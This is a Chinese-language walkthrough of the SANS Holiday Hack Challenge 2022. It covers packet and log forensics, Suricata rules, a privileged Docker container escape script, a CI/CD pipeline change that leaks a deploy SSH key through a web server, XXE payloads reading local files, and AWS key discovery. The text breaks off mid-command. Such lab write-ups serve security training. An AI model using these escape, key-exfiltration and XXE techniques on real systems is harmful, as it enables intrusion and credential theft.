SANS Holiday Hack Challenge 2022:网络安全与渗透测试全解析

本文详细解析了SANS Holiday Hack Challenge 2022的多个技术挑战,包括Wireshark数据包分析、Windows事件日志调查、Suricata规则编写、Docker逃逸、AWS CLI配置与利用、智能合约漏洞利用等实战内容。

SANS Holiday Hack Challenge 2022:Writeup

这是我为SANS Holiday Hack Challenge 2022撰写的详细解析。

主要目标

目标的第一部分是介绍,解释了徽章的工作原理、终端的使用方法以及设置钱包的教程。同时还建立了背景故事,并将你送入地下隧道。完成后有五个主要目标章节,每个章节包含几个挑战。

恢复托尔金戒指

第一章是恢复托尔金戒指。这一章围绕数字取证和事件响应(DFIR)展开。

Wireshark练习

第一个挑战是一个终端,你获得一个PCAP文件,需要回答几个关于流量的问题。

要回答第一个问题,我们查看流量,发现有很多HTTP流量,然后转到File -> Export objects -> HTTP导出它们。然后,我们可以通过查看要导出的文件列表并按大小排序来找到app.php,从而回答第二个问题。要找到第三个问题的答案,我们在对象列表中查看同一条目,发现它从数据包687开始。通过查看列表中的这个数据包,我们可以回答第四个问题。注意,这个数据包是响应的第一个数据包,因此Web服务器的IP地址是这个数据包的源地址:192.185.57.242。查看这个app.php文件的内容,我们在javascript块的末尾找到一行引用Ref_Sept24-2020.zip。对于第六个问题,我们可以过滤TLS数据包,并查看“Server Hello”数据包中的证书。没有那么多条目,所以我们可以手动快速浏览,除了合法的Microsoft证书外,找到另外两个国家:SS和IL,翻译成答案以色列、南苏丹。最后,最后一个问题的答案显然是:是的,主机被感染了。

总结一下,完成终端的问题和答案如下:

  • 你能帮我吗?是的
  • PCAP文件中可以通过Wireshark和/或Tshark导出的对象类型是什么?http
  • 我们可以导出的最大文件的文件名是什么?app.php
  • 那个app.php文件从哪个数据包号开始?687
  • Apache服务器的IP是什么?192.185.57.242
  • 什么文件被保存到受感染的主机?Ref_Sept24-2020.zip
  • 攻击者在此流量中使用了不良TLS证书。它们注册到哪些国家?按字母顺序提交国家名称,用逗号分隔(例如:挪威,韩国)。以色列,南苏丹
  • 主机是否被感染(是/否)?是

Windows事件日志

在这个挑战中,我们获得一个Windows事件日志,其中有一些可疑条目。我们可以首先将日志文件转换为人类可读的格式。这可以通过python-evtx完成:

1
2
pip install python-evtx
evtx_dump.py powershell.evtx > powershell.evtx.xml

其余的分析主要通过在这个XML文件上使用grep完成。我们注意到有很多与PowerShell活动相关的事件。其中一个存在的标签是,包含执行的脚本。我们可以通过grep ScriptBlockText并浏览各种命令来进行初步分类。这样做,我们在2022-12-24发现了很多可疑活动。查看那天的奇怪命令,我们看到他们读取了一个名为Recipe的文件。查看命令并搜索Get-Content和recipe,我们找到了多个对第三个问题感兴趣的命令。完全符合问题描述的是:$foo = Get-Content .\Recipe| % {$_ -replace ‘honey’, ‘fish oil’}。要回答下一个问题,我们可以搜索变量$foo并找到匹配描述的命令。这样做,我们找到:$foo | Add-Content -Path ‘Recipe’。如果我们在日志中搜索该命令,会发现一个类似的命令针对Recipe.txt运行了多次,这回答了问题5。通过在日志中搜索诸如del和rm的命令,我们找到像del .\Recipe.txt这样的执行,所以文件确实被删除了,问题6的答案是“是”。然而,查看删除命令,我们没有找到任何与Recipe相关的内容。此外,搜索Recipe,我们没有看到任何删除命令,所以问题7的答案是“否”。通过查看与删除命令对应的完整条目,我们可以找到事件ID 4104。我们还可以从替换命令中得出结论,秘密成分是“honey”,并且它已被泄露。因此,我们有信息回答最后三个问题并解决终端。

总结一下,完成终端的问题和答案如下:

  • 你准备好开始了吗?是的
  • 攻击发生在哪个月/日/年?例如,09/05/2021。12/24/2022
  • 攻击者从一个文件中获取了一个秘密。原始文件的名称是什么?Recipe
  • 攻击者检索、更改了前一个文件的内容,并将其存储到一个变量中。这进行了多次。提交仅执行这些操作的最后一个完整的PowerShell行。$foo = Get-Content .\Recipe| % {$_ -replace ‘honey’, ‘fish oil’}
  • 在将更改后的文件内容存储到变量后,攻击者使用该变量运行了一个单独的命令,将修改后的数据写入文件。这进行了多次。提交仅执行此操作的最后一个完整的PowerShell行。$foo | Add-Content -Path ‘Recipe’
  • 攻击者多次对文件运行了前一个命令。这个文件的名称是什么?Recipe.txt
  • 是否有任何文件被删除?(是/否)是
  • 原始文件(来自问题2)被删除了吗?(是/否)否
  • 显示用于删除文件的实际命令行的日志的事件ID是什么?4104
  • 秘密成分是否被泄露(是/否)?是
  • 秘密成分是什么?honey

Suricata Regatta

在这个挑战中,我们的任务是编写一些Suricata规则来捕获一些数据包。要了解不同协议可用的各种字段,我们可以参考Suricata关于规则的文档。第一条规则应捕获对域“adv.epostoday.uk”的DNS查询。这条规则的重要部分是检查端口53上的udp,然后使用“dns.query”标志,内容设置为“adv.epostoday.uk”。第二条规则应捕获主机“192.185.57.242”和内部网络之间的http流量。这里的重要部分是使用“<>”捕获双向数据包,并使用“$HOME_NET”变量捕获整个家庭网络。对于第三条规则,我们想找到主机“CN=heardbellith.Icanwepeh.nagoya”的TLS证书。这条规则的重要部分是使用“tls”协议,然后使用“tls.cert_subject”标志,内容为“CN=heardbellith.Icanwepeh.nagoya”。最后,最后一条规则要求我们找到javascript片段“let byteCharacters = atob”。这里的重要部分是我们查找http流量,然后使用“http.response_body”标志获取完整的主体,无论是否压缩,然后将其与内容“let byteCharacters = atob”结合。

总结一下,我们需要编写的四条规则如下:

1
2
3
4
alert udp any any -> any 53 (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; sid:133701; rev:1;)
alert http 192.185.57.242 any <> $HOME_NET any (msg:"Investigate suspicious connections, possible Dridex infection"; sid:133702; rev:1;)
alert tls any any -> any any (msg:"Investigate bad certificates, possible Dridex infection"; tls.cert_subject; content:"CN=heardbellith.Icanwepeh.nagoya"; sid:133703; rev:1;)
alert http any any -> any any (msg:"Suspicious JavaScript function, possible Dridex infection"; http.response_body; content:"let byteCharacters = atob"; sid:133704; rev:1;)

完成这些后,我们恢复了托尔金戒指!

恢复精灵戒指

第二章是恢复精灵戒指。这一章围绕DevOps主题展开。

克隆的差异

监狱逃脱

在这个终端中,我们的任务是逃逸一个Docker容器。我遵循了Snyk团队的一个优秀指南,发现容器在“特权”模式下运行,然后逃逸它。简而言之,我使用的最终命令是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

cat <<EOF > /trigger.sh
#!/bin/sh
cp /home/jailer/.ssh/jail.key.priv $host_path/jail.key.priv
EOF
chmod +x /trigger.sh

echo "$host_path/trigger.sh" > /sys/kernel/uevent_helper
echo change > /sys/class/mem/null/uevent
cat /jail.key.priv

Jolly CI/CD

在这个挑战中,我们处于一个多主机的网络内部,并获得了git repo的地址。首先,我们必须等待基础设施启动,然后克隆repo。我们可以通过运行以下命令来完成:

1
until git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git; sleep 10; done

一旦我们有了repo,我们可以通过运行git log查看提交日志。在那里,我们找到一个提交消息为“whoops”的提交。如果我们检出前一个提交,我们会找到一个私有的SSH密钥,我们将其复制到另一个目录并设置适当的权限。

1
2
3
4
5
6
7
git log
git checkout abdea0ebb21b156c01f7533cea3b895c26198c98 .ssh/.deploy
git checkout abdea0ebb21b156c01f7533cea3b895c26198c98 .ssh/.deploy.pub
mkdir ~/keys
cp .ssh/.deploy ~/keys/
cp .ssh/.deploy.pub ~/keys/
chmod 600 ~/keys/*

然后,我们可以使用该密钥创建一个SSH配置,并使用凭据检出repo:

1
2
3
4
5
6
7
cat <<EOF > ~/.ssh/config
host gitlab.flag.net.internal
    IdentityFile ~/keys/.deploy
    IdentitiesOnly yes
EOF

git clone git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git

然后,我们可以向CI/CD配置添加两个步骤,通过将部署密钥复制到webroot并使其全局可读来泄露它。然后,我们可以推送这个新配置,等待它执行,下载该密钥,并连接到Web服务器以获取标志。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
cat <<EOF >> .gitlab-ci.yml
- scp -i /etc/gitlab-runner/hhc22-wordpress-deploy /etc/gitlab-runner/hhc22-wordpress-deploy root@wordpress.flag.net.internal:/var/www/html/key1.pem
- ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy root@wordpress.flag.net.internal "chmod 777 /var/www/html/key1.pem"
EOF
git config user.name "knee-oh"
git config user.email sporx@kringlecon.com
git add .
git commit -m "bug fix"
git push

curl -O ~/keys/deploy-key.pem wordpress.flag.net.internal/key1.pem
ssh -i ~/keys/deploy-key.pem root@wordpress.flag.net.internal "cat /flag.txt"

通过这样做,我们恢复了精灵戒指!

恢复Web戒指

第三章是恢复Web戒指。这一章,毫不奇怪,围绕Web主题展开。

顽皮的IP

对于前四个目标,我们需要分析一个PCAP文件来调查一些基于Web的攻击。首先,我们需要找到一个顽皮的IP地址。我们可以在Wireshark中通过转到“conversations”窗口并按数据包数量排序来找到IP地址“18.222.86.32”,通过过滤它,我们看到他们进行了一些暴力登录攻击。

凭据挖掘

我们可以通过过滤“ip.addr==18.222.86.32 && http.request.method == POST”来更仔细地调查这个暴力攻击,找到来自这个IP的所有HTTP POST请求,并找到第一个尝试的用户名:“alice”。

404 FTW

在暴力登录之后,我们需要找到第一个成功的请求。我们可以通过过滤可疑的IP地址并查找数据包21457之后的所有数据包中状态码为200的HTTP响应来完成:“ip.addr==18.222.86.32 && http.response.code == 200 && frame.number > 21457”。然后,我们可以找到第一个成功的响应,并转到相应的请求,看到URL是“http://www.toteslegit.us/proc”。

IMDS、XXE和其他缩写

最后,我们可以通过查看源自Web服务器IP地址“10.12.42.16”的HTTP请求来找到XXE攻击,使用这个过滤器:“ip.src == 10.12.42.16 && http.request”。这揭示了获取的URL:“http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance”。

打开Boria矿门

下一个挑战要求我们输入一些输入,使“电路”从左到右连接。

对于第一个,检查源代码找到字符串@&@&&W&&W&&&&,这是一个有效的输入。 对于第二个,我们可以注入一个覆盖整个输入框的HTML div标签:

1
<div style="width:1000px; height:1000px; background-color:#fff;"></div>

对于第三个,我们可以注入一些javascript来创建一个像第二个那样的div:

1
2
3
4
5
<script>
d=document.createElement('div');
d.style="width:1000px;height:1000px;background-color:#00f";
document.body.appendChild(d);
</script>

Glamtariel的喷泉

对于最后一个挑战,我们应该导航一个奇怪的Web应用程序。这个挑战的目的是教你一些与Web应用程序交互的方式,特别是XXE攻击如何工作,但不幸的是,我认为它设计得不好。完成它的步骤基本上是:

首先,我们正常地询问喷泉和Galadriel,使用所有物品,直到你到达第三批。然后,我们通过将Content-Type头更改为“application/xml”并将主体更改为如下所示的XML请求:

JSON主体

1
2
3
4
5
{
    "imgDrop":"img1",
    "who":"fountain",
    "reqType":"json"
}

XML主体

1
2
3
4
5
6
<?xml version="1.0"?>
<root>
    <imgDrop>img1</imgDrop>
    <reqType>xml</reqType>
    <who>princess</who>
</root>

现在,我们向请求添加一个XXE攻击,并猜测ringlist的路径。

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///app/static/images/ringlist.txt">]>
<root>
    <imgDrop>&xxe;</imgDrop>
    <reqType>xml</reqType>
    <who>princess</who>
</root>

之后,我们使用你找到的新URL查看隐藏的图像并进行新的请求。

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt">]>
<root>
    <imgDrop>&xxe;</imgDrop>
    <reqType>xml</reqType>
    <who>princess</who>
</root>

最后,我们更改你注入实体的字段。

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt">]>
<root>
    <imgDrop>img1</imgDrop>
    <reqType>&xxe;</reqType>
    <who>princess</who>
</root>

这恢复了Web戒指!

恢复云戒指

第四章是恢复云戒指。这一章,再次毫不奇怪,围绕云主题展开。

AWS CLI介绍

在第一个挑战中,我们的任务是配置AWS CLI工具。我们可以通过运行aws configure并输入提供的数据来完成。之后,我们可以使用aws sts get-caller-identity来查看我们认证为谁。

1
2
3
4
5
6
7
8
9
aws help
aws configure
> AKQAAYRKO7A5Q5XUY2IY
> qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf
> us-east-1
> 

aws sts help
aws sts get-caller-identity

这给我们返回以下信息并完成挑战:

1
2
3
4
5
{
    "UserId": "AKQAAYRKO7A5Q5XUY2IY",
    "Account": "602143214321",
    "Arn": "arn:aws:iam::602143214321:user/elf_helpdesk"
}

Trufflehog搜索

在这个挑战中,我们使用Trufflehog在git repo中查找秘密:

1
trufflehog git https://haugfactory.com/asnowball/aws_scripts.git

这给我们,除其他外,以下结果:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Found unverified result 🐷🔑⬇
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAAIDAYRANYAHGQOHD
Commit: 106d33e1ffd53eea753c1365eafc6588398279b5
File: put_policy.py
Email: asnowball alabaster@northpolechristmastown.local
Repository: https://haugfactory.com/asnowball/aws_scripts.git
Timestamp: 2022-09-07 07:53:12 -0700 -0700
Line: 6

所以挑战的答案是:put_policy.py

通过AWS CLI利用

最后,在这个挑战中,我们结合前两个挑战来恢复一个密钥,对其进行认证,然后使用各种命令遍历与我们账户相关的各种策略,最终发现我们有权访问一个S3存储桶和一个Lambda函数。

首先,我们像前一个挑战一样获取凭据:

1
2
3
4
trufflehog git https://haugfactory.com/asnowball/aws_scripts.git
git clone https://haugfactory.com/asnowball/aws_scripts.git
cd aws_scripts
git
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计